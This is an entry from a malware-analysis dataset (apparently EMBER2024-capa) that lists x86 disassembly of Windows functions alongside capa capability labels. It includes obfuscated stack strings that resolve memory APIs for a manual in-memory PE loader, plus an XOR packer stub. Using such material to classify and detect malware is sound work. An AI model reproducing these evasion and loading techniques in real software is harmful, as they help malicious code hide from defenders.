joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022b0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x28
mov al, 0x45
push ebx
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov al, 0x6c
push ebp
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x16], al
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
lea eax, [esp + 0x10]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
mov byte [esp + 0x2c], 0x4b
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x4e
mov byte [esp + 0x31], 0x4c
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x1c], 0x56
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0
call fcn.00401cd0
mov ebx, eax
mov eax, dword [esp + 0x48]
xor edx, edx
add esp, 0xc
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0
mov dx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebp, [edx + eax + 0x18]
jbe 0x40240d
push esi
push edi
add ebp, 0x10
jmp 0x40237f
mov ecx, dword [esp + 0x14]
cmp dword [ebp], 0
jne 0x4023b9
mov eax, dword [esp + 0x40]
mov esi, dword [eax + 0x38]
test esi, esi
jle 0x4023eb
mov edx, dword [ebp - 4]
push 4
push 0x1000
add edx, ecx
push esi
push edx
call ebx
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebp - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4023eb
mov edx, dword [ebp - 4]
mov eax, dword [ebp]
push 4
push 0x1000
add edx, ecx
push eax
push edx
call ebx
mov ecx, dword [ebp]
mov esi, dword [ebp + 4]
mov edi, dword [esp + 0x3c]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 8], eax
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x10]
inc eax
add ebp, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40237b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x402420
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x38
mov al, 0x45
push ebx
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
lea eax, [esp + 0x10]
push esi
lea ecx, [esp + 0x20]
push eax
mov bl, 0x74
push ecx
push 0
mov byte [esp + 0x2c], 0x4b
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x4e
mov byte [esp + 0x31], 0x4c
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], 0x6c
mov byte [esp + 0x37], 0x6c
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x56
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x75
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], 0x46
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x65
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], 0
call fcn.00401cd0
mov dword [esp + 0x14], eax
lea edx, [esp + 0x3c]
lea eax, [esp + 0x2c]
push edx
push eax
push 0
mov byte [esp + 0x48], 0x56
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], 0x75
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x50], 0x72
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], 0x65
mov byte [esp + 0x54], 0x63
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], 0
call fcn.00401cd0
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebx, ebx
add esp, 0x18
mov esi, dword [ecx]
mov dword [esp + 0xc], eax
mov dx, word [esi + 0x14]
cmp word [esi + 6], bx
lea eax, [edx + esi + 0x18]
jbe 0x4025cb
push ebp
push edi
lea ebp, [eax + 0x24]
mov eax, dword [ebp]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov edi, eax
and ecx, 1
and edx, 1
shr edi, 0x1f
test eax, 0x2000000
je 0x40256b
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x1c]
jmp 0x4025b1
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [edi + edx*2]
mov edi, dword [ecx*4 + 0x472a80]
je 0x402585
or edi, 0x200
mov edx, dword [ebp - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x4025a0
test al, 0x40
je 0x402597
mov ecx, dword [esi + 0x20]
jmp 0x40259e
test al, 0x80
je 0x4025b1
mov ecx, dword [esi + 0x24]
test ecx, ecx
jbe 0x4025b1
mov ecx, dword [ebp - 0x1c]
lea eax, [esp + 0x18]
push eax
push edi
push edx
push ecx
call dword [esp + 0x24]
mov edx, dword [esp + 0x4c]
xor eax, eax
inc ebx
add ebp, 0x28
mov esi, dword [edx]
mov ax, word [esi + 6]
cmp ebx, eax
jl 0x402539
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x38
ret
Function at 0x402660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
mov al, 0x45
push ebx
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
mov cl, 0x52
push ebp
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
push esi
mov byte [esp + 0x1a], cl
mov byte [esp + 0x2d], cl
lea eax, [esp + 0x28]
push edi
lea ecx, [esp + 0x1c]
push eax
mov bl, 0x61
push ecx
push 0
mov byte [esp + 0x28], 0x4b
mov byte [esp + 0x2b], 0x4e
mov byte [esp + 0x2d], 0x4c
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x38], 0x49
mov byte [esp + 0x39], 0x73
mov byte [esp + 0x3a], 0x42
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x64
mov byte [esp + 0x3e], 0x65
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x64
mov byte [esp + 0x41], 0x50
mov byte [esp + 0x42], 0x74
mov byte [esp + 0x43], 0x72
mov byte [esp + 0x44], 0
call fcn.00401cd0
mov ebp, eax
lea edx, [esp + 0x48]
lea eax, [esp + 0x28]
push edx
push eax
push 0
mov dword [esp + 0x30], ebp
mov byte [esp + 0x54], 0x4c
mov byte [esp + 0x55], 0x6f
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0x64
mov byte [esp + 0x58], 0x4c
mov byte [esp + 0x59], 0x69
mov byte [esp + 0x5a], 0x62
mov byte [esp + 0x5b], 0x72
mov byte [esp + 0x5c], bl
mov byte [esp + 0x5d], 0x72
mov byte [esp + 0x5e], 0x79
mov byte [esp + 0x5f], 0x41
mov byte [esp + 0x60], 0
call fcn.00401cd0
mov edi, dword [esp + 0x68]
mov dword [esp + 0x2c], eax
add esp, 0x18
mov ecx, 1
mov eax, dword [edi]
mov ebx, dword [edi + 4]
add eax, 0x80
mov edx, dword [eax + 4]
test edx, edx
jbe 0x40284e
mov esi, dword [eax]
push 0x14
add esi, ebx
push esi
mov dword [esp + 0x18], esi
call ebp
test eax, eax
jne 0x402858
mov eax, dword [esi + 0xc]
test eax, eax
je 0x402858
add eax, ebx
push eax
call dword [esp + 0x18]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x402844
mov ecx, dword [edi + 0xc]
mov eax, dword [edi + 8]
lea edx, [ecx*4 + 4]
push edx
push eax
call fcn.00401dc0
add esp, 8
mov dword [edi + 8], eax
test eax, eax
je 0x402844
mov ecx, dword [edi + 0xc]
mov dword [eax + ecx*4], ebp
mov edx, dword [edi + 0xc]
inc edx
mov dword [edi + 0xc], edx
mov eax, dword [esi]
test eax, eax
je 0x4027e2
mov esi, dword [esi + 0x10]
lea edi, [eax + ebx]
add esi, ebx
jmp 0x4027ea
mov edx, dword [esi + 0x10]
lea edi, [edx + ebx]
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x402821
test eax, 0x80000000
je 0x4027fe
and eax, 0xffff
jmp 0x402802
lea eax, [eax + ebx + 2]
push eax
push 0
push ebp
call fcn.00401cd0
add esp, 0xc
mov dword [esi], eax
test eax, eax
je 0x402844
mov eax, dword [edi + 4]
add edi, 4
add esi, 4
test eax, eax
jne 0x4027f0
mov eax, dword [esp + 0x10]
push 0x14
add eax, 0x14
push eax
mov dword [esp + 0x18], eax
call dword [esp + 0x20]
test eax, eax
jne 0x402858
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x50]
jmp 0x40278a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3c
ret
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x3c
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c
ret
Function at 0x402940
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x4c
mov al, 0x45
push ebx
mov byte [esp + 0x31], al
mov byte [esp + 0x34], al
mov al, 0x4c
push ebp
mov byte [esp + 0x39], al
mov byte [esp + 0x20], al
push esi
lea eax, [esp + 0x20]
push edi
lea ecx, [esp + 0x3c]
push eax
xor edi, edi
mov bl, 0x65
push ecx
push edi
mov byte [esp + 0x48], 0x4b
mov byte [esp + 0x4a], 0x52
mov byte [esp + 0x4b], 0x4e
mov byte [esp + 0x4e], 0x33
mov byte [esp + 0x4f], 0x32
mov byte [esp + 0x50], 0x2e
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x53], 0x6c
mov byte [esp + 0x54], 0
mov byte [esp + 0x30], 0x46
mov byte [esp + 0x31], 0x72
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x62
mov byte [esp + 0x37], 0x72
mov byte [esp + 0x38], 0x61
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], 0x79
mov byte [esp + 0x3b], 0
call fcn.00401cd0
mov ebp, eax
lea edx, [esp + 0x3c]
lea eax, [esp + 0x48]
push edx
push eax
push edi
mov byte [esp + 0x48], 0x56
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x75
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x46
mov byte [esp + 0x50], 0x72
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], 0
call fcn.00401cd0
lea ecx, [esp + 0x64]
lea edx, [esp + 0x54]
mov dword [esp + 0x28], eax
push ecx
mov al, 0x73
push edx
push edi
mov byte [esp + 0x70], 0x47
mov byte [esp + 0x71], bl
mov byte [esp + 0x72], 0x74
mov byte [esp + 0x73], 0x50
mov byte [esp + 0x74], 0x72
mov byte [esp + 0x75], 0x6f
mov byte [esp + 0x76], 0x63
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], al
mov byte [esp + 0x79], al
mov byte [esp + 0x7a], 0x48
mov byte [esp + 0x7b], bl
mov byte [esp + 0x7c], 0x61
mov byte [esp + 0x7d], 0x70
mov byte [esp + 0x7e], 0
call fcn.00401cd0
mov dword [esp + 0x38], eax
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x60]
push eax
push ecx
push edi
mov byte [esp + 0x48], 0x48
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x61
mov byte [esp + 0x4b], 0x70
mov byte [esp + 0x4c], 0x46
mov byte [esp + 0x4d], 0x72
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0
call fcn.00401cd0
mov esi, dword [esp + 0x90]
add esp, 0x30
cmp esi, edi
mov ebx, eax
je 0x402b2e
cmp dword [esi + 0x10], edi
je 0x402ae3
mov edx, dword [esi]
mov eax, dword [esi + 4]
push edi
push edi
mov ecx, dword [edx + 0x28]
push eax
add ecx, eax
call ecx
mov dword [esi + 0x10], edi
cmp dword [esi + 8], edi
je 0x402b11
mov eax, dword [esi + 0xc]
test eax, eax
jle 0x402b05
mov edx, dword [esi + 8]
mov eax, dword [edx + edi*4]
cmp eax, 0xffffffff
je 0x402afd
push eax
call ebp
mov eax, dword [esi + 0xc]
inc edi
cmp edi, eax
jl 0x402aef
mov eax, dword [esi + 8]
push eax
call fcn.00401f30
add esp, 4
mov eax, dword [esi + 4]
test eax, eax
je 0x402b24
push 0x8000
push 0
push eax
call dword [esp + 0x1c]
push esi
push 0
call dword [esp + 0x1c]
push eax
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret
Function at 0x40ceb9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x414548
call fcn.00403fd8
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00413485
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x40cef8
call fcn.00413485
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40cf06
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40cf14
or eax, 0xffffffff
jmp 0x40cffc
mov ecx, esi
call fcn.0040ce2f
mov dword [ebp - 0x14], eax
call fcn.0040dc68
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x40cf4b
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x40cf4b
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0040dc1c
push dword [ebp - 0x14]
call fcn.0040d74e
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0040cbc7
cmp eax, edi
je 0x40cfbe
test byte [esi + 0x24], 0x10
je 0x40cf8c
push 4
mov ecx, esi
pop ebx
call fcn.0040fdad
test ah, 1
je 0x40cf84
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0040f772
cmp dword [esi + 0x1c], edi
je 0x40cfbe
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0040fde1
jmp 0x40cfbe
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x40cfd2
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x40cfeb
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x40cfeb
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0040ce69
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x40f620
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x40f662
call fcn.00413485
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x40f662
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x40f659
xor eax, eax
jmp 0x40f66a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0040f670
pop edi
pop esi
pop ebx
ret 4
Function at 0x413aad
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x413adb
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x413af9
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00413a13
jmp 0x413af9
mov eax, dword [esi + 0x14]
test eax, eax
je 0x413af9
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00413a13
test edi, edi
mov eax, edi
jne 0x413ae3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x412722
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41274e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4127eb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x412815
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412790
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x41281a
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x412815
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x409ef0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46a98b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045f1d0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409f72
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045cf7d
mov eax, dword [eax]
push 0x5491d0
push eax
call fcn.0044f404
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045f45b
test bl, bl
je 0x409f72
push 0x5491d0
lea ecx, [esp + 0xc]
call fcn.0045f7eb
push 0x54cd4c
lea ecx, [esp + 0xc]
call fcn.0045f7eb
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x409fae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045f45b
jmp 0x40a079
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40a032
lea edx, [esp + 0x7c]
push 0x54cd48
push edx
call fcn.0044f404
add esp, 8
test eax, eax
je 0x40a032
lea eax, [esp + 0x7c]
push 0x54cd44
push eax
call fcn.0044f404
add esp, 8
test eax, eax
je 0x40a032
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409fc2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045f45b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a870
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a8d2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a8e0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46aa0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5536d0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40aa18
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a946
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045f45b
xor eax, eax
jmp 0x40aa8f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045f598
push esi
lea ecx, [esp + 0xc]
call fcn.0045f827
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40aa6d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040a870
test eax, eax
jne 0x40aa6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040a870
test eax, eax
jne 0x40aa6d
lea eax, [esp + 0x14]
push 0x54cd60
push eax
call fcn.00450440
mov esi, eax
add esp, 8
test esi, esi
jne 0x40aa4c
lea ecx, [esp + 0x14]
push 0x54cd5c
push ecx
call fcn.004503c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40aa4c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40aa4f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045f548
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a95e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045f45b
xor eax, eax
jmp 0x40aa8f
mov byte [esi], 0
push 0x54cd58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045f45b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4